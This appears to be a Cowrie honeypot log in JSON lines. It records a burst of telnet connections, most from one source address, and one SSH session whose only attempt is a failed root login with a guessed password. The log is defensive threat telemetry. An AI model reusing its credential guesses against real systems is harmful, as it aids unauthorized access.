{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50942,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6848c19cca3","protocol":"telnet","message":"New connection: 147.135.136.77:50942 (159.203.135.109:23) [session: d6848c19cca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:14.933213Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35122,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3be9016803","protocol":"telnet","message":"New connection: 168.119.91.149:35122 (159.203.135.109:23) [session: 5f3be9016803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:15.028056Z"}
{"eventid":"cowrie.session.closed","duration":30.331458568572998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:15.039688Z","src_ip":"147.135.136.77","session":"9798188aa989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.11470627784729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:15.062957Z","src_ip":"147.135.136.77","session":"29c114b2ee93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50950,"dst_ip":"159.203.135.109","dst_port":23,"session":"900534ede8fd","protocol":"telnet","message":"New connection: 147.135.136.77:50950 (159.203.135.109:23) [session: 900534ede8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:15.306298Z"}
{"eventid":"cowrie.session.closed","duration":31.563313484191895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:15.762084Z","src_ip":"147.135.136.77","session":"6d908d1f5794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.543596029281616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:15.960318Z","src_ip":"147.135.136.77","session":"2a9b79c99d5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59430,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d8d4fc17e6b","protocol":"telnet","message":"New connection: 147.135.136.77:59430 (159.203.135.109:23) [session: 4d8d4fc17e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:15.995063Z"}
{"eventid":"cowrie.session.closed","duration":30.21123480796814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:16.042336Z","src_ip":"147.135.136.77","session":"f74551dd4445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49441933631897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:16.097700Z","src_ip":"147.135.136.77","session":"679e59b93615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59446,"dst_ip":"159.203.135.109","dst_port":23,"session":"6616baa82634","protocol":"telnet","message":"New connection: 147.135.136.77:59446 (159.203.135.109:23) [session: 6616baa82634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:16.160762Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50944,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ccadf354138","protocol":"telnet","message":"New connection: 147.135.136.77:50944 (159.203.135.109:23) [session: 5ccadf354138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:16.227004Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59456,"dst_ip":"159.203.135.109","dst_port":23,"session":"f73baeac1ebc","protocol":"telnet","message":"New connection: 147.135.136.77:59456 (159.203.135.109:23) [session: f73baeac1ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:16.263970Z"}
{"eventid":"cowrie.session.closed","duration":31.25180959701538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:16.367440Z","src_ip":"147.135.136.77","session":"d0937597f065","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59470,"dst_ip":"159.203.135.109","dst_port":23,"session":"c013a56252bc","protocol":"telnet","message":"New connection: 147.135.136.77:59470 (159.203.135.109:23) [session: c013a56252bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:16.445045Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59472,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e53926f96f4","protocol":"telnet","message":"New connection: 147.135.136.77:59472 (159.203.135.109:23) [session: 2e53926f96f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:16.545121Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59488,"dst_ip":"159.203.135.109","dst_port":23,"session":"065a4ca17e28","protocol":"telnet","message":"New connection: 147.135.136.77:59488 (159.203.135.109:23) [session: 065a4ca17e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:16.633967Z"}
{"eventid":"cowrie.session.closed","duration":30.32644271850586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:17.038103Z","src_ip":"51.79.21.139","session":"394adf456a49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33740234375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:17.092127Z","src_ip":"147.135.136.77","session":"ad8ed0a0579e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937512636184692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:17.134516Z","src_ip":"147.135.136.77","session":"a9a7d5f57dfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59490,"dst_ip":"159.203.135.109","dst_port":23,"session":"adee0663bcbc","protocol":"telnet","message":"New connection: 147.135.136.77:59490 (159.203.135.109:23) [session: adee0663bcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:17.261547Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35130,"dst_ip":"159.203.135.109","dst_port":23,"session":"57f42bc37109","protocol":"telnet","message":"New connection: 168.119.91.149:35130 (159.203.135.109:23) [session: 57f42bc37109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:17.278180Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59502,"dst_ip":"159.203.135.109","dst_port":23,"session":"a07d6b7a20c0","protocol":"telnet","message":"New connection: 147.135.136.77:59502 (159.203.135.109:23) [session: a07d6b7a20c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:17.482702Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59504,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc8a50991343","protocol":"telnet","message":"New connection: 147.135.136.77:59504 (159.203.135.109:23) [session: dc8a50991343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:17.840619Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59520,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58480b90cfb","protocol":"telnet","message":"New connection: 147.135.136.77:59520 (159.203.135.109:23) [session: c58480b90cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:18.133311Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59534,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d6e8eec426","protocol":"telnet","message":"New connection: 147.135.136.77:59534 (159.203.135.109:23) [session: e2d6e8eec426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:18.208471Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59544,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc1c4635375","protocol":"telnet","message":"New connection: 147.135.136.77:59544 (159.203.135.109:23) [session: 5cc1c4635375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:18.375916Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59554,"dst_ip":"159.203.135.109","dst_port":23,"session":"5108f1acfb16","protocol":"telnet","message":"New connection: 147.135.136.77:59554 (159.203.135.109:23) [session: 5108f1acfb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:18.653380Z"}
{"eventid":"cowrie.session.closed","duration":30.236495971679688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:19.123924Z","src_ip":"147.135.136.77","session":"f3ec1d4cb7a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875693798065186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:19.212362Z","src_ip":"147.135.136.77","session":"c245baa9f171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24283480644226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:19.502263Z","src_ip":"168.119.91.149","session":"669f1c347a7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.883232355117798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:20.055369Z","src_ip":"147.135.136.77","session":"1e9f284f14ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59574,"dst_ip":"159.203.135.109","dst_port":23,"session":"df0324b74bd4","protocol":"telnet","message":"New connection: 147.135.136.77:59574 (159.203.135.109:23) [session: df0324b74bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:20.120333Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59576,"dst_ip":"159.203.135.109","dst_port":23,"session":"63d660402fce","protocol":"telnet","message":"New connection: 147.135.136.77:59576 (159.203.135.109:23) [session: 63d660402fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:20.150416Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59592,"dst_ip":"159.203.135.109","dst_port":23,"session":"69bf0d2ed7f4","protocol":"telnet","message":"New connection: 147.135.136.77:59592 (159.203.135.109:23) [session: 69bf0d2ed7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:20.281490Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59560,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d35a4dc442a","protocol":"telnet","message":"New connection: 147.135.136.77:59560 (159.203.135.109:23) [session: 6d35a4dc442a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:20.334896Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59594,"dst_ip":"159.203.135.109","dst_port":23,"session":"c15994112350","protocol":"telnet","message":"New connection: 147.135.136.77:59594 (159.203.135.109:23) [session: c15994112350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:20.405462Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59608,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d0cafad47d9","protocol":"telnet","message":"New connection: 147.135.136.77:59608 (159.203.135.109:23) [session: 1d0cafad47d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:20.580453Z"}
{"eventid":"cowrie.session.closed","duration":30.919822216033936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:20.587963Z","src_ip":"147.135.136.77","session":"92f36db0f6d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59624,"dst_ip":"159.203.135.109","dst_port":23,"session":"334dc916accd","protocol":"telnet","message":"New connection: 147.135.136.77:59624 (159.203.135.109:23) [session: 334dc916accd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:20.920396Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59626,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d05107ae74b","protocol":"telnet","message":"New connection: 147.135.136.77:59626 (159.203.135.109:23) [session: 1d05107ae74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:21.160809Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59642,"dst_ip":"159.203.135.109","dst_port":23,"session":"d65b8462b743","protocol":"telnet","message":"New connection: 147.135.136.77:59642 (159.203.135.109:23) [session: d65b8462b743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:21.164706Z"}
{"eventid":"cowrie.session.closed","duration":30.463968753814697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:21.169736Z","src_ip":"147.135.136.77","session":"8506a12fe666","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.244986057281494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:21.182339Z","src_ip":"147.135.136.77","session":"ebf65e8d0956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128884077072144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:21.445913Z","src_ip":"147.135.136.77","session":"de6a99e2359b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3460431098938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:22.039141Z","src_ip":"147.135.136.77","session":"3c4169cd09c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59656,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e72b2c1e9a","protocol":"telnet","message":"New connection: 147.135.136.77:59656 (159.203.135.109:23) [session: e0e72b2c1e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:22.208301Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59666,"dst_ip":"159.203.135.109","dst_port":23,"session":"a52410419562","protocol":"telnet","message":"New connection: 147.135.136.77:59666 (159.203.135.109:23) [session: a52410419562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:22.248916Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59680,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c7363f0e1b2","protocol":"telnet","message":"New connection: 147.135.136.77:59680 (159.203.135.109:23) [session: 7c7363f0e1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:22.379915Z"}
{"eventid":"cowrie.session.closed","duration":31.34569215774536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:22.591914Z","src_ip":"168.119.91.149","session":"bc65be73f625","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59698,"dst_ip":"159.203.135.109","dst_port":23,"session":"4932147338d8","protocol":"telnet","message":"New connection: 147.135.136.77:59698 (159.203.135.109:23) [session: 4932147338d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:22.996494Z"}
{"eventid":"cowrie.session.closed","duration":30.77158212661743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:23.037512Z","src_ip":"147.135.136.77","session":"58666c0687ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59710,"dst_ip":"159.203.135.109","dst_port":23,"session":"b605bded8bb3","protocol":"telnet","message":"New connection: 147.135.136.77:59710 (159.203.135.109:23) [session: b605bded8bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:23.145496Z"}
{"eventid":"cowrie.session.closed","duration":30.97598433494568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:23.260662Z","src_ip":"147.135.136.77","session":"c5d625449060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59718,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff53c2cc25bf","protocol":"telnet","message":"New connection: 147.135.136.77:59718 (159.203.135.109:23) [session: ff53c2cc25bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:23.398054Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59724,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d6e515e20a","protocol":"telnet","message":"New connection: 147.135.136.77:59724 (159.203.135.109:23) [session: a4d6e515e20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:23.741458Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59696,"dst_ip":"159.203.135.109","dst_port":23,"session":"423dadf54ae4","protocol":"telnet","message":"New connection: 147.135.136.77:59696 (159.203.135.109:23) [session: 423dadf54ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:23.847101Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":35408,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcab585d338f","protocol":"ssh","message":"New connection: 103.228.69.212:35408 (10.17.0.5:22) [session: fcab585d338f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:23.986316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:23.991081Z","src_ip":"103.228.69.212","session":"fcab585d338f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59740,"dst_ip":"159.203.135.109","dst_port":23,"session":"52e51fb3615f","protocol":"telnet","message":"New connection: 147.135.136.77:59740 (159.203.135.109:23) [session: 52e51fb3615f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:23.998009Z"}
{"eventid":"cowrie.session.closed","duration":30.655821800231934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:24.115978Z","src_ip":"147.135.136.77","session":"64a4fbaba70c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:24.228976Z","src_ip":"103.228.69.212","session":"fcab585d338f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59754,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c4e2debc71","protocol":"telnet","message":"New connection: 147.135.136.77:59754 (159.203.135.109:23) [session: 96c4e2debc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:24.357531Z"}
{"eventid":"cowrie.session.closed","duration":30.702677965164185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:24.542553Z","src_ip":"147.135.136.77","session":"163ba2e12e11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59764,"dst_ip":"159.203.135.109","dst_port":23,"session":"d930cd516b61","protocol":"telnet","message":"New connection: 147.135.136.77:59764 (159.203.135.109:23) [session: d930cd516b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:24.709858Z"}
{"eventid":"cowrie.session.closed","duration":30.490729808807373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.045423Z","src_ip":"147.135.136.77","session":"cc020c6ebc94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854696035385132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.050644Z","src_ip":"37.187.24.227","session":"ddc653f51591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830015420913696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.066222Z","src_ip":"147.135.136.77","session":"096929fcbe81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693636655807495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.105501Z","src_ip":"147.135.136.77","session":"e8fcb2d1b619","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc!1234","message":"login attempt [root/Abc!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.207057Z","src_ip":"103.228.69.212","session":"fcab585d338f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59780,"dst_ip":"159.203.135.109","dst_port":23,"session":"713a7f8adb8b","protocol":"telnet","message":"New connection: 147.135.136.77:59780 (159.203.135.109:23) [session: 713a7f8adb8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.215017Z"}
{"eventid":"cowrie.session.closed","duration":30.859591484069824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.240205Z","src_ip":"147.135.136.77","session":"f0beed0a5588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59746,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f72799a5003","protocol":"telnet","message":"New connection: 147.135.136.77:59746 (159.203.135.109:23) [session: 1f72799a5003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.264895Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59794,"dst_ip":"159.203.135.109","dst_port":23,"session":"14c87cf43939","protocol":"telnet","message":"New connection: 147.135.136.77:59794 (159.203.135.109:23) [session: 14c87cf43939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.320115Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59806,"dst_ip":"159.203.135.109","dst_port":23,"session":"79d55d5ba2e6","protocol":"telnet","message":"New connection: 147.135.136.77:59806 (159.203.135.109:23) [session: 79d55d5ba2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:25.396383Z"}
